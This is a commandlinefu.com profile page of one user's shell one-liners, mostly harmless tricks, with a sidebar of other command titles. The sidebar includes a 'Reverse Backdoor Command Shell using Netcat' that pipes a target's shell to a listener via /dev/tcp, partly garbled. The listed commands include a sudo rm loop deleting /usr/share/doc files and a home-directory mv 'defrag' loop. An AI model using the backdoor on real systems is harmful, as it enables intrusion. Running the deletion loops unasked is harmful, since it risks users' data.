Commands by LinuxMan (9)

  • A commandline version of the notepad in a browser: http://www.commandlinefu.com/commands/view/12161/notepad-in-a-browser-type-this-in-the-url-bar All credit to the origional author of this fantastic command, whos only failing as most of the comments pointed out was that it wasn't a command... well, now its a command. Send all upvotes to dtlp747.


    1
    firefox 'data:text/html, <html contenteditable>'
    LinuxMan · 2013-04-14 02:13:03 1
  • I don't know why anyone would use this, I was just messing around tonight and managed to start bash without using any letters and thought I would share. It's pretty simple, first it tries to execute "-" redirecting stderr to stdout which prints the error "bash: -: command not found" to standard output, then I try to execute "bash: -: command not found" which produces the output "bash: bash: -: command not found: command not found". lastly, (on the other side of the semicolon) I use the underscore environment variable which refers to the last command run ("bash: -: command not found") and take out everything after the first ":" character using brace expressions and your left with "bash" Show Sample Output


    6
    "$(- 2>&1)";${_%%:*}
    LinuxMan · 2012-12-29 09:21:09 2
  • Shows all configurations to apt and dpkg, rarely changed, you probably still have the default configuration. Go ahead and explore your configuration if you dare, perhaps change your apt-cache directory, Dir::Cache "var/cache/apt/"; or the names of the log files. Show Sample Output


    5
    apt-config dump
    LinuxMan · 2011-12-13 19:11:02 1
  • Normally, if you just want to see directories you'd use brianmuckian's command 'ls -d *\', but I ran into problems trying to use that command in my script because there are often multiple directories per line. If you need to script something with directories and want to guarantee that there is only one entry per line, this is the fastest way i know Show Sample Output


    -10
    ls -l | grep ^d | sed 's:.*\ ::g'
    LinuxMan · 2011-08-06 23:52:46 4
  • short enough to be tweetable Show Sample Output


    -3
    ifconfig | grep "inet\ " | grep -v "127.0" | sed -e 's/inet\ addr://g' | sed -e 's/Bcast:/\ \ \ \ \ \ \ /g' | cut -c 1-29 | sed -e 's/\ //g'
    LinuxMan · 2010-12-01 19:06:11 1
  • This command finds all of the functions defined in any shell script you specify including .bashrc


    0
    functions(){ read -p "File name> "; sort -d $REPLY | grep "(){" | sed -e 's/(){//g' | less; }
    LinuxMan · 2010-12-01 18:49:48 0
  • Never read the documentation? No, then why have that ~ 20 MB sit there and take up space? This command preserves directory structure wile removing all of those unnecessary help and documentation files. Works on Ubuntu, Debian, and most related systems. Gives a lot of directory errors, I'll fix those later.


    -12
    for i in {a..z};do sudo rm /usr/share/doc/$i*/*;done
    LinuxMan · 2010-07-23 01:52:25 2
  • Thanks th John_W for suggesting the fix allowing ~/ to be used when saving a directory. directions: Type in a url, it will show a preview of what the file will look like when saved, then asks if you want to save the preview and where you want to save it. Great for grabbing the latest commandlinefu commands without a full web browser or even a GUI. Requires: w3m Show Sample Output


    0
    read -p "enter url:" a ; w3m -dump $a > /dev/shm/e1q ; less /dev/shm/e1q ; read -p "save file as text (y/n)?" b ; if [ $b = "y" ] ; then read -p "enter path with filename:" c && touch $(eval echo "$c") ; mv /dev/shm/e1q $(eval echo "$c") ; fi ; echo DONE
    LinuxMan · 2010-07-13 22:36:38 2
  • Thanks to flatcap for optimizing this command. This command takes advantage of the ext4 filesystem's resistance to fragmentation. By using this command, files that were previously fragmented will be copied / deleted / pasted essentially giving the filesystem another chance at saving the file contiguously. ( unlike FAT / NTFS, the *nix filesystem always try to save a file without fragmenting it ) My command only effects the home directory and only those files with your R/W (read / write ) permissions. There are two issues with this command: 1. it really won't help, it works, but linux doesn't suffer much (if any ) fragmentation and even fragmented files have fast I/O 2. it doesn't discriminate between fragmented and non-fragmented files, so a large ~/ directory with no fragments will take almost as long as an equally sized fragmented ~/ directory The benefits i managed to work into the command: 1. it only defragments files under 16mb, because a large file with fragments isn't as noticeable as a small file that's fragmented, and copy/ delete/ paste of large files would take too long 2. it gives a nice countdown in the terminal so you know how far how much progress is being made and just like other defragmenters you can stop at any time ( use ctrl+c ) 3. fast! i can defrag my ~/ directory in 11 seconds thanks to the ramdrive powering the command's temporary storage bottom line: 1. its only an experiment, safe ( i've used it several times for testing ), but probably not very effective ( unless you somehow have a fragmentation problem on linux ). might be a placebo for recent windows converts looking for a defrag utility on linux and won't accept no for an answer 2. it's my first commandlinefu command Show Sample Output


    2
    find ~ -maxdepth 20 -type f -size -16M -print > t; for ((i=$(wc -l < t); i>0; i--)) do a=$(sed -n ${i}p < t); mv "$a" /dev/shm/d; mv /dev/shm/d "$a"; echo $i; done; echo DONE; rm t
    LinuxMan · 2010-07-07 04:29:22 6

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convert a line to a space

find geographical location of an ip address
a shorter version

Create passwords and store safely with gpg
Adjust the $ head -c part for password length. I use filenames like "[email protected]" and a vim which automatically decrypts files with .gpg suffixes.

move you up one directory quickly
Alias a single character 'b' to move to parent directory. Put it into your .bashrc or .profile file. Using "cd .." is one of the most repetitive sequence of characters you'll in the command line. Bring it down to two keys 'b' and 'enter'. It stands for "back" Also useful to have multiple: alias b='cd ../' alias bb='cd ../../' alias bbb='cd ../../../' alias bbbb='cd ../../../../'

Schedule a command while one is already running.
Useful when you have only one terminal session e.g. ssh. and want to queue up another command after the currently running has finished(in case if you forget to run that command). Originally used as ; python-updater when running emerge. When I have noticed that a package failed due to that command not run.

Get file access control list

Find usb device
I often use it to find recently added ou removed device, or using find in /dev, or anything similar. Just run the command, plug the device, and wait to see him and only him

Which processes are listening on a specific port (e.g. port 80)
swap out "80" for your port of interest. Can use port number or named ports e.g. "http"

Reverse Backdoor Command Shell using Netcat
This is sneaky. First, start a listening service on your box. $ nc -l 8080 -vvv & On the target you will create a new descriptor which is assigned to a network node. Then you will read and write to that descriptor. $ exec 5/dev/tcp//8080;cat &5 >&5; done You can send it to the background like this: $ (exec 5/dev/tcp//8080;cat &5 >&5;) & Now everything you type in our local listening server will get executed on the target and the output of the commands will be piped back to the client.

generate random mac address


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